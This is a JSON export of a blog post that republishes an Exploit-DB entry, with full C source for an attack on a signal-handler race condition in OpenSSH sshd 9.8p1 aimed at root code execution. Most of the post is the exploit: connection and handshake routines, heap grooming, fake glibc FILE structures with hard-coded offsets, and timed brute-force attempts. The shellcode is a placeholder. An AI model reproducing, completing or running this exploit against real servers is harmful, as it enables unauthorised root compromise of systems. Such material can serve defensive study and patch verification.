{"id":932,"date":"2025-04-23T05:59:44","date_gmt":"2025-04-23T05:59:44","guid":{"rendered":"http:\/\/localhost\/?p=932"},"modified":"2025-04-23T05:59:44","modified_gmt":"2025-04-23T05:59:44","slug":"openssh-server-sshd-98p1-race-condition","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=932","title":{"rendered":"OpenSSH server (sshd) 9.8p1 &#8211; Race Condition"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">OpenSSH server (sshd) 9.8p1 &#8211; Race Condition<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52269<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">0.0<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title : OpenSSH server (sshd) 9.8p1 &#8211; Race Condition  Author : Milad Karimi (Ex3ptionaL) Date : 2025-04-16  * Description: Targets a signal handler race condition in OpenSSH&#x27;s server&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n * Exploit Title : OpenSSH server (sshd) 9.8p1 &#8211; Race Condition<br \/>\n<br \/> * Author : Milad Karimi (Ex3ptionaL)<br \/>\n<br \/> * Date : 2025-04-16<br \/>\n<br \/> *<br \/>\n<br \/> * Description:<br \/>\n<br \/> * Targets a signal handler race condition in OpenSSH&#8217;s<br \/>\n<br \/> * server (sshd) on glibc-based Linux systems. It exploits a vulnerability<br \/>\n<br \/> * where the SIGALRM handler calls async-signal-unsafe functions, leading<br \/>\n<br \/> * to rce as root.<br \/>\n<br \/> *<br \/>\n<br \/> * Notes:<br \/>\n<br \/> * 1. Shellcode : Replace placeholder with actual payload.<br \/>\n<br \/> * 2. GLIBC_BASES : Needs adjustment for specific target systems.<br \/>\n<br \/> * 3. Timing parameters: Fine-tune based on target system responsiveness.<br \/>\n<br \/> * 4. Heap layout : Requires tweaking for different OpenSSH versions.<br \/>\n<br \/> * 5. File structure offsets: Verify for the specific glibc version.<br \/>\n<br \/> * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n<br \/> *\/<\/p>\n<p>#include <stdlib.h><br \/>\n<br \/>#include <unistd.h><br \/>\n<br \/>#include <time.h><br \/>\n<br \/>#include <string.h><br \/>\n<br \/>#include <errno.h><br \/>\n<br \/>#include <fcntl.h><br \/>\n<br \/>#include <stdint.h><br \/>\n<br \/>#include <stdio.h><br \/>\n<br \/>#include <sys\/socket.h><br \/>\n<br \/>#include <netinet\/in.h><br \/>\n<br \/>#include <arpa\/inet.h><br \/>\n<br \/>#include <time.h><\/p>\n<p>#define MAX_PACKET_SIZE (256 * 1024)<br \/>\n<br \/>#define LOGIN_GRACE_TIME 120<br \/>\n<br \/>#define MAX_STARTUPS 100<br \/>\n<br \/>#define CHUNK_ALIGN(s) (((s) + 15) &#038; ~15)<\/p>\n<p>\/\/ Possible glibc base addresses (for ASLR bypass)<br \/>\n<br \/>uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };<br \/>\n<br \/>int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) \/ sizeof (GLIBC_BASES[0]);<\/p>\n<p>\/\/ Shellcode placeholder (replace with actual shellcode)<br \/>\n<br \/>unsigned char shellcode[] = &#8220;\\x90\\x90\\x90\\x90&#8221;;<\/p>\n<p>int setup_connection (const char *ip, int port);<br \/>\n<br \/>void send_packet (int sock, unsigned char packet_type,<br \/>\n<br \/>                  const unsigned char *data, size_t len);<br \/>\n<br \/>void prepare_heap (int sock);<br \/>\n<br \/>void time_final_packet (int sock, double *parsing_time);<br \/>\n<br \/>int attempt_race_condition (int sock, double parsing_time,<br \/>\n<br \/>                            uint64_t glibc_base);<br \/>\n<br \/>double measure_response_time (int sock, int error_type);<br \/>\n<br \/>void create_public_key_packet (unsigned char *packet, size_t size,<br \/>\n<br \/>                               uint64_t glibc_base);<br \/>\n<br \/>void create_fake_file_structure (unsigned char *data, size_t size,<br \/>\n<br \/>                                 uint64_t glibc_base);<br \/>\n<br \/>void send_ssh_version (int sock);<br \/>\n<br \/>int receive_ssh_version (int sock);<br \/>\n<br \/>void send_kex_init (int sock);<br \/>\n<br \/>int receive_kex_init (int sock);<br \/>\n<br \/>int perform_ssh_handshake (int sock);<\/p>\n<p>int<br \/>\n<br \/>main (int argc, char *argv[])<br \/>\n<br \/>{<br \/>\n<br \/>  if (argc != 3)<br \/>\n<br \/>    {<br \/>\n<br \/>      fprintf (stderr, &#8220;Usage: %s <ip> <port>\\n&#8221;, argv[0]);<br \/>\n<br \/>      exit (1);<br \/>\n<br \/>    }<\/p>\n<p>  const char *ip = argv[1];<br \/>\n<br \/>  int port = atoi (argv[2]);<br \/>\n<br \/>  double parsing_time = 0;<br \/>\n<br \/>  int success = 0;<\/p>\n<p>  srand (time (NULL));<\/p>\n<p>  \/\/ Attempt exploitation for each possible glibc base address<br \/>\n<br \/>  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES &#038;&#038; !success; base_idx++)\n<br \/>    {<br \/>\n<br \/>      uint64_t glibc_base = GLIBC_BASES[base_idx];<br \/>\n<br \/>      printf (&#8220;Attempting exploitation with glibc base: 0x%lx\\n&#8221;,<br \/>\n<br \/>glibc_base);<\/p>\n<p>      \/\/ The advisory mentions &#8220;~10,000 tries on average&#8221;<br \/>\n<br \/>      for (int attempt = 0; attempt < 20000 &#038;&#038; !success; attempt++)\n<br \/>        {<br \/>\n<br \/>          if (attempt % 1000 == 0)<br \/>\n<br \/>            {<br \/>\n<br \/>              printf (&#8220;Attempt %d of 20000\\n&#8221;, attempt);<br \/>\n<br \/>            }<\/p>\n<p>          int sock = setup_connection (ip, port);<br \/>\n<br \/>          if (sock < 0)\n<br \/>            {<br \/>\n<br \/>              fprintf (stderr, &#8220;Failed to establish connection, attempt<br \/>\n<br \/>%d\\n&#8221;,<br \/>\n<br \/>                       attempt);<br \/>\n<br \/>              continue;<br \/>\n<br \/>            }<\/p>\n<p>          if (perform_ssh_handshake (sock) < 0)\n<br \/>            {<br \/>\n<br \/>              fprintf (stderr, &#8220;SSH handshake failed, attempt %d\\n&#8221;,<br \/>\n<br \/>attempt);<br \/>\n<br \/>              close (sock);<br \/>\n<br \/>              continue;<br \/>\n<br \/>            }<\/p>\n<p>          prepare_heap (sock);<br \/>\n<br \/>          time_final_packet (sock, &#038;parsing_time);<\/p>\n<p>          if (attempt_race_condition (sock, parsing_time, glibc_base))<br \/>\n<br \/>            {<br \/>\n<br \/>              printf (&#8220;Possible exploitation success on attempt %d with<br \/>\n<br \/>glibc &#8221;<br \/>\n<br \/>                      &#8220;base 0x%lx!\\n&#8221;,<br \/>\n<br \/>                      attempt, glibc_base);<br \/>\n<br \/>              success = 1;<br \/>\n<br \/>              break;<br \/>\n<br \/>            }<\/p>\n<p>          close (sock);<br \/>\n<br \/>          usleep (100000); \/\/ 100ms delay between attempts, as mentioned in<br \/>\n<br \/>the<br \/>\n<br \/>                           \/\/ advisory<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>  return !success;<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>setup_connection (const char *ip, int port)<br \/>\n<br \/>{<br \/>\n<br \/>  int sock = socket (AF_INET, SOCK_STREAM, 0);<br \/>\n<br \/>  if (sock < 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;socket&#8221;);<br \/>\n<br \/>      return -1;<br \/>\n<br \/>    }<\/p>\n<p>  struct sockaddr_in server_addr;<br \/>\n<br \/>  memset (&#038;server_addr, 0, sizeof (server_addr));<br \/>\n<br \/>  server_addr.sin_family = AF_INET;<br \/>\n<br \/>  server_addr.sin_port = htons (port);<br \/>\n<br \/>  if (inet_pton (AF_INET, ip, &#038;server_addr.sin_addr) <= 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;inet_pton&#8221;);<br \/>\n<br \/>      close (sock);<br \/>\n<br \/>      return -1;<br \/>\n<br \/>    }<\/p>\n<p>  if (connect (sock, (struct sockaddr *)&#038;server_addr, sizeof (server_addr))<br \/>\n<br \/>      < 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;connect&#8221;);<br \/>\n<br \/>      close (sock);<br \/>\n<br \/>      return -1;<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Set socket to non-blocking mode<br \/>\n<br \/>  int flags = fcntl (sock, F_GETFL, 0);<br \/>\n<br \/>  fcntl (sock, F_SETFL, flags | O_NONBLOCK);<\/p>\n<p>  return sock;<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>send_packet (int sock, unsigned char packet_type, const unsigned char *data,<br \/>\n<br \/>             size_t len)<br \/>\n<br \/>{<br \/>\n<br \/>  unsigned char packet[MAX_PACKET_SIZE];<br \/>\n<br \/>  size_t packet_len = len + 5;<\/p>\n<p>  packet[0] = (packet_len >> 24) &#038; 0xFF;<br \/>\n<br \/>  packet[1] = (packet_len >> 16) &#038; 0xFF;<br \/>\n<br \/>  packet[2] = (packet_len >> 8) &#038; 0xFF;<br \/>\n<br \/>  packet[3] = packet_len &#038; 0xFF;<br \/>\n<br \/>  packet[4] = packet_type;<\/p>\n<p>  memcpy (packet + 5, data, len);<\/p>\n<p>  if (send (sock, packet, packet_len, 0) < 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;send_packet&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>send_ssh_version (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  const char *ssh_version = &#8220;SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\\r\\n&#8221;;<br \/>\n<br \/>  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;send ssh version&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>receive_ssh_version (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  char buffer[256];<br \/>\n<br \/>  ssize_t received;<br \/>\n<br \/>  do<br \/>\n<br \/>    {<br \/>\n<br \/>      received = recv (sock, buffer, sizeof (buffer) &#8211; 1, 0);<br \/>\n<br \/>    }<br \/>\n<br \/>  while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n  if (received > 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      buffer[received] = &#8216;\\0&#8217;;<br \/>\n<br \/>      printf (&#8220;Received SSH version: %s&#8221;, buffer);<br \/>\n<br \/>      return 0;<br \/>\n<br \/>    }<br \/>\n<br \/>  else if (received == 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      fprintf (stderr, &#8220;Connection closed while receiving SSH version\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  else<br \/>\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;receive ssh version&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  return -1;<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>send_kex_init (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  unsigned char kexinit_payload[36] = { 0 };<br \/>\n<br \/>  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>receive_kex_init (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  unsigned char buffer[1024];<br \/>\n<br \/>  ssize_t received;<br \/>\n<br \/>  do<br \/>\n<br \/>    {<br \/>\n<br \/>      received = recv (sock, buffer, sizeof (buffer), 0);<br \/>\n<br \/>    }<br \/>\n<br \/>  while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n  if (received > 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      printf (&#8220;Received KEX_INIT (%zd bytes)\\n&#8221;, received);<br \/>\n<br \/>      return 0;<br \/>\n<br \/>    }<br \/>\n<br \/>  else if (received == 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      fprintf (stderr, &#8220;Connection closed while receiving KEX_INIT\\n&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  else<br \/>\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;receive kex init&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  return -1;<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>perform_ssh_handshake (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  send_ssh_version (sock);<br \/>\n<br \/>  if (receive_ssh_version (sock) < 0)\n<br \/>    return -1;<br \/>\n<br \/>  send_kex_init (sock);<br \/>\n<br \/>  if (receive_kex_init (sock) < 0)\n<br \/>    return -1;<br \/>\n<br \/>  return 0;<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>prepare_heap (int sock)<br \/>\n<br \/>{<br \/>\n<br \/>  \/\/ Packet a: Allocate and free tcache chunks<br \/>\n<br \/>  for (int i = 0; i < 10; i++)\n<br \/>    {<br \/>\n<br \/>      unsigned char tcache_chunk[64];<br \/>\n<br \/>      memset (tcache_chunk, &#8216;A&#8217;, sizeof (tcache_chunk));<br \/>\n<br \/>      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));<br \/>\n<br \/>      \/\/ These will be freed by the server, populating tcache<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Packet b: Create 27 pairs of large (~8KB) and small (320B) holes<br \/>\n<br \/>  for (int i = 0; i < 27; i++)\n<br \/>    {<br \/>\n<br \/>      \/\/ Allocate large chunk (~8KB)<br \/>\n<br \/>      unsigned char large_hole[8192];<br \/>\n<br \/>      memset (large_hole, &#8216;B&#8217;, sizeof (large_hole));<br \/>\n<br \/>      send_packet (sock, 5, large_hole, sizeof (large_hole));<\/p>\n<p>      \/\/ Allocate small chunk (320B)<br \/>\n<br \/>      unsigned char small_hole[320];<br \/>\n<br \/>      memset (small_hole, &#8216;C&#8217;, sizeof (small_hole));<br \/>\n<br \/>      send_packet (sock, 5, small_hole, sizeof (small_hole));<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Packet c: Write fake headers, footers, vtable and _codecvt pointers<br \/>\n<br \/>  for (int i = 0; i < 27; i++)\n<br \/>    {<br \/>\n<br \/>      unsigned char fake_data[4096];<br \/>\n<br \/>      create_fake_file_structure (fake_data, sizeof (fake_data),<br \/>\n<br \/>                                  GLIBC_BASES[0]);<br \/>\n<br \/>      send_packet (sock, 5, fake_data, sizeof (fake_data));<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Packet d: Ensure holes are in correct malloc bins (send ~256KB string)<br \/>\n<br \/>  unsigned char large_string[MAX_PACKET_SIZE &#8211; 1];<br \/>\n<br \/>  memset (large_string, &#8216;E&#8217;, sizeof (large_string));<br \/>\n<br \/>  send_packet (sock, 5, large_string, sizeof (large_string));<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>create_fake_file_structure (unsigned char *data, size_t size,<br \/>\n<br \/>                            uint64_t glibc_base)<br \/>\n<br \/>{<br \/>\n<br \/>  memset (data, 0, size);<\/p>\n<p>  struct<br \/>\n<br \/>  {<br \/>\n<br \/>    void *_IO_read_ptr;<br \/>\n<br \/>    void *_IO_read_end;<br \/>\n<br \/>    void *_IO_read_base;<br \/>\n<br \/>    void *_IO_write_base;<br \/>\n<br \/>    void *_IO_write_ptr;<br \/>\n<br \/>    void *_IO_write_end;<br \/>\n<br \/>    void *_IO_buf_base;<br \/>\n<br \/>    void *_IO_buf_end;<br \/>\n<br \/>    void *_IO_save_base;<br \/>\n<br \/>    void *_IO_backup_base;<br \/>\n<br \/>    void *_IO_save_end;<br \/>\n<br \/>    void *_markers;<br \/>\n<br \/>    void *_chain;<br \/>\n<br \/>    int _fileno;<br \/>\n<br \/>    int _flags;<br \/>\n<br \/>    int _mode;<br \/>\n<br \/>    char _unused2[40];<br \/>\n<br \/>    void *_vtable_offset;<br \/>\n<br \/>  } *fake_file = (void *)data;<\/p>\n<p>  \/\/ Set _vtable_offset to 0x61 as described in the advisory<br \/>\n<br \/>  fake_file->_vtable_offset = (void *)0x61;<\/p>\n<p>  \/\/ Set up fake vtable and _codecvt pointers<br \/>\n<br \/>  *(uint64_t *)(data + size &#8211; 16)<br \/>\n<br \/>      = glibc_base + 0x21b740; \/\/ fake vtable (_IO_wfile_jumps)<br \/>\n<br \/>  *(uint64_t *)(data + size &#8211; 8) = glibc_base + 0x21d7f8; \/\/ fake _codecvt<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>time_final_packet (int sock, double *parsing_time)<br \/>\n<br \/>{<br \/>\n<br \/>  double time_before = measure_response_time (sock, 1);<br \/>\n<br \/>  double time_after = measure_response_time (sock, 2);<br \/>\n<br \/>  *parsing_time = time_after &#8211; time_before;<\/p>\n<p>  printf (&#8220;Estimated parsing time: %.6f seconds\\n&#8221;, *parsing_time);<br \/>\n<br \/>}<\/p>\n<p>double<br \/>\n<br \/>measure_response_time (int sock, int error_type)<br \/>\n<br \/>{<br \/>\n<br \/>  unsigned char error_packet[1024];<br \/>\n<br \/>  size_t packet_size;<\/p>\n<p>  if (error_type == 1)<br \/>\n<br \/>    {<br \/>\n<br \/>      \/\/ Error before sshkey_from_blob<br \/>\n<br \/>      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),<br \/>\n<br \/>                              &#8220;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  else<br \/>\n<br \/>    {<br \/>\n<br \/>      \/\/ Error after sshkey_from_blob<br \/>\n<br \/>      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),<br \/>\n<br \/>                              &#8220;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>  struct timespec start, end;<br \/>\n<br \/>  clock_gettime (CLOCK_MONOTONIC, &#038;start);<\/p>\n<p>  send_packet (sock, 50, error_packet,<br \/>\n<br \/>               packet_size); \/\/ SSH_MSG_USERAUTH_REQUEST<\/p>\n<p>  char response[1024];<br \/>\n<br \/>  ssize_t received;<br \/>\n<br \/>  do<br \/>\n<br \/>    {<br \/>\n<br \/>      received = recv (sock, response, sizeof (response), 0);<br \/>\n<br \/>    }<br \/>\n<br \/>  while (received < 0 &#038;&#038; (errno == EWOULDBLOCK || errno == EAGAIN));\n\n  clock_gettime (CLOCK_MONOTONIC, &#038;end);\n\n  double elapsed\n<br \/>      = (end.tv_sec &#8211; start.tv_sec) + (end.tv_nsec &#8211; start.tv_nsec) \/ 1e9;<br \/>\n<br \/>  return elapsed;<br \/>\n<br \/>}<\/p>\n<p>void<br \/>\n<br \/>create_public_key_packet (unsigned char *packet, size_t size,<br \/>\n<br \/>                          uint64_t glibc_base)<br \/>\n<br \/>{<br \/>\n<br \/>  memset (packet, 0, size);<\/p>\n<p>  size_t offset = 0;<br \/>\n<br \/>  for (int i = 0; i < 27; i++)\n<br \/>    {<br \/>\n<br \/>      \/\/ malloc(~4KB) &#8211; This is for the large hole<br \/>\n<br \/>      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);<br \/>\n<br \/>      offset += CHUNK_ALIGN (4096);<\/p>\n<p>      \/\/ malloc(304) &#8211; This is for the small hole (potential FILE structure)<br \/>\n<br \/>      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);<br \/>\n<br \/>      offset += CHUNK_ALIGN (304);<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Add necessary headers for the SSH public key format<br \/>\n<br \/>  memcpy (packet, &#8220;ssh-rsa &#8220;, 8);<\/p>\n<p>  \/\/ Place shellcode in the heap via previous allocations<br \/>\n<br \/>  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13,<br \/>\n<br \/>shellcode,<br \/>\n<br \/>          sizeof (shellcode));<\/p>\n<p>  \/\/ Set up the fake FILE structures within the packet<br \/>\n<br \/>  for (int i = 0; i < 27; i++)\n<br \/>    {<br \/>\n<br \/>      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)<br \/>\n<br \/>                                      + CHUNK_ALIGN (304) * i,<br \/>\n<br \/>                                  CHUNK_ALIGN (304), glibc_base);<br \/>\n<br \/>    }<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)<br \/>\n<br \/>{<br \/>\n<br \/>  unsigned char final_packet[MAX_PACKET_SIZE];<br \/>\n<br \/>  create_public_key_packet (final_packet, sizeof (final_packet),<br \/>\n<br \/>glibc_base);<\/p>\n<p>  \/\/ Send all but the last byte<br \/>\n<br \/>  if (send (sock, final_packet, sizeof (final_packet) &#8211; 1, 0) < 0)\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;send final packet&#8221;);<br \/>\n<br \/>      return 0;<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Precise timing for last byte<br \/>\n<br \/>  struct timespec start, current;<br \/>\n<br \/>  clock_gettime (CLOCK_MONOTONIC, &#038;start);<\/p>\n<p>  while (1)<br \/>\n<br \/>    {<br \/>\n<br \/>      clock_gettime (CLOCK_MONOTONIC, &#038;current);<br \/>\n<br \/>      double elapsed = (current.tv_sec &#8211; start.tv_sec)<br \/>\n<br \/>                       + (current.tv_nsec &#8211; start.tv_nsec) \/ 1e9;<br \/>\n<br \/>      if (elapsed >= (LOGIN_GRACE_TIME &#8211; parsing_time &#8211; 0.001))<br \/>\n<br \/>        { \/\/ 1ms before SIGALRM<br \/>\n<br \/>          if (send (sock, &#038;final_packet[sizeof (final_packet) &#8211; 1], 1, 0) <\n<br \/>0)<br \/>\n<br \/>            {<br \/>\n<br \/>              perror (&#8220;send last byte&#8221;);<br \/>\n<br \/>              return 0;<br \/>\n<br \/>            }<br \/>\n<br \/>          break;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>  \/\/ Check for successful exploitation<br \/>\n<br \/>  char response[1024];<br \/>\n<br \/>  ssize_t received = recv (sock, response, sizeof (response), 0);<br \/>\n<br \/>  if (received > 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      printf (&#8220;Received response after exploit attempt (%zd bytes)\\n&#8221;,<br \/>\n<br \/>              received);<br \/>\n<br \/>      \/\/ Analyze response to determine if we hit the &#8220;large&#8221; race window<br \/>\n<br \/>      if (memcmp (response, &#8220;SSH-2.0-&#8220;, 8) != 0)<br \/>\n<br \/>        {<br \/>\n<br \/>          printf (&#8220;Possible hit on &#8216;large&#8217; race window\\n&#8221;);<br \/>\n<br \/>          return 1;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>  else if (received == 0)<br \/>\n<br \/>    {<br \/>\n<br \/>      printf (<br \/>\n<br \/>          &#8220;Connection closed by server &#8211; possible successful<br \/>\n<br \/>exploitation\\n&#8221;);<br \/>\n<br \/>      return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>  else if (errno == EWOULDBLOCK || errno == EAGAIN)<br \/>\n<br \/>    {<br \/>\n<br \/>      printf (&#8220;No immediate response from server &#8211; possible successful &#8221;<br \/>\n<br \/>              &#8220;exploitation\\n&#8221;);<br \/>\n<br \/>      return 1;<br \/>\n<br \/>    }<br \/>\n<br \/>  else<br \/>\n<br \/>    {<br \/>\n<br \/>      perror (&#8220;recv&#8221;);<br \/>\n<br \/>    }<br \/>\n<br \/>  return 0;<br \/>\n<br \/>}<\/p>\n<p>int<br \/>\n<br \/>perform_exploit (const char *ip, int port)<br \/>\n<br \/>{<br \/>\n<br \/>  int success = 0;<br \/>\n<br \/>  double parsing_time = 0;<br \/>\n<br \/>  double timing_adjustment = 0;<\/p>\n<p>  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES &#038;&#038; !success; base_idx++)\n<br \/>    {<br \/>\n<br \/>      uint64_t glibc_base = GLIBC_BASES[base_idx];<br \/>\n<br \/>      printf (&#8220;Attempting exploitation with glibc base: 0x%lx\\n&#8221;,<br \/>\n<br \/>glibc_base);<\/p>\n<p>      for (int attempt = 0; attempt < 10000 &#038;&#038; !success; attempt++)\n<br \/>        {<br \/>\n<br \/>          if (attempt % 1000 == 0)<br \/>\n<br \/>            {<br \/>\n<br \/>              printf (&#8220;Attempt %d of 10000\\n&#8221;, attempt);<br \/>\n<br \/>            }<\/p>\n<p>          int sock = setup_connection (ip, port);<br \/>\n<br \/>          if (sock < 0)\n<br \/>            {<br \/>\n<br \/>              fprintf (stderr, &#8220;Failed to establish connection, attempt<br \/>\n<br \/>%d\\n&#8221;,<br \/>\n<br \/>                       attempt);<br \/>\n<br \/>              continue;<br \/>\n<br \/>            }<\/p>\n<p>          if (perform_ssh_handshake (sock) < 0)\n<br \/>            {<br \/>\n<br \/>              fprintf (stderr, &#8220;SSH handshake failed, attempt %d\\n&#8221;,<br \/>\n<br \/>attempt);<br \/>\n<br \/>              close (sock);<br \/>\n<br \/>              continue;<br \/>\n<br \/>            }<\/p>\n<p>          prepare_heap (sock);<br \/>\n<br \/>          time_final_packet (sock, &#038;parsing_time);<\/p>\n<p>          \/\/ Implement feedback-based timing strategy<br \/>\n<br \/>          parsing_time += timing_adjustment;<\/p>\n<p>          if (attempt_race_condition (sock, parsing_time, glibc_base))<br \/>\n<br \/>            {<br \/>\n<br \/>              printf (&#8220;Possible exploitation success on attempt %d with<br \/>\n<br \/>glibc &#8221;<br \/>\n<br \/>                      &#8220;base 0x%lx!\\n&#8221;,<br \/>\n<br \/>                      attempt, glibc_base);<br \/>\n<br \/>              success = 1;<br \/>\n<br \/>              \/\/ In a real exploit, we would now attempt to interact with<br \/>\n<br \/>the<br \/>\n<br \/>              \/\/ shell<br \/>\n<br \/>            }<br \/>\n<br \/>          else<br \/>\n<br \/>            {<br \/>\n<br \/>              \/\/ Adjust timing based on feedback<br \/>\n<br \/>              timing_adjustment += 0.00001; \/\/ Small incremental adjustment<br \/>\n<br \/>            }<\/p>\n<p>          close (sock);<br \/>\n<br \/>          usleep (100000); \/\/ 100ms delay between attempts, as mentioned in<br \/>\n<br \/>the<br \/>\n<br \/>                           \/\/ advisory<br \/>\n<br \/>        }<br \/>\n<br \/>    }<\/p>\n<p>  return success;<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52269\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title OpenSSH server (sshd) 9.8p1 &#8211; Race Condition Exploit ID EDB-ID:52269 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-932","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>OpenSSH server (sshd) 9.8p1 - Race Condition - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" 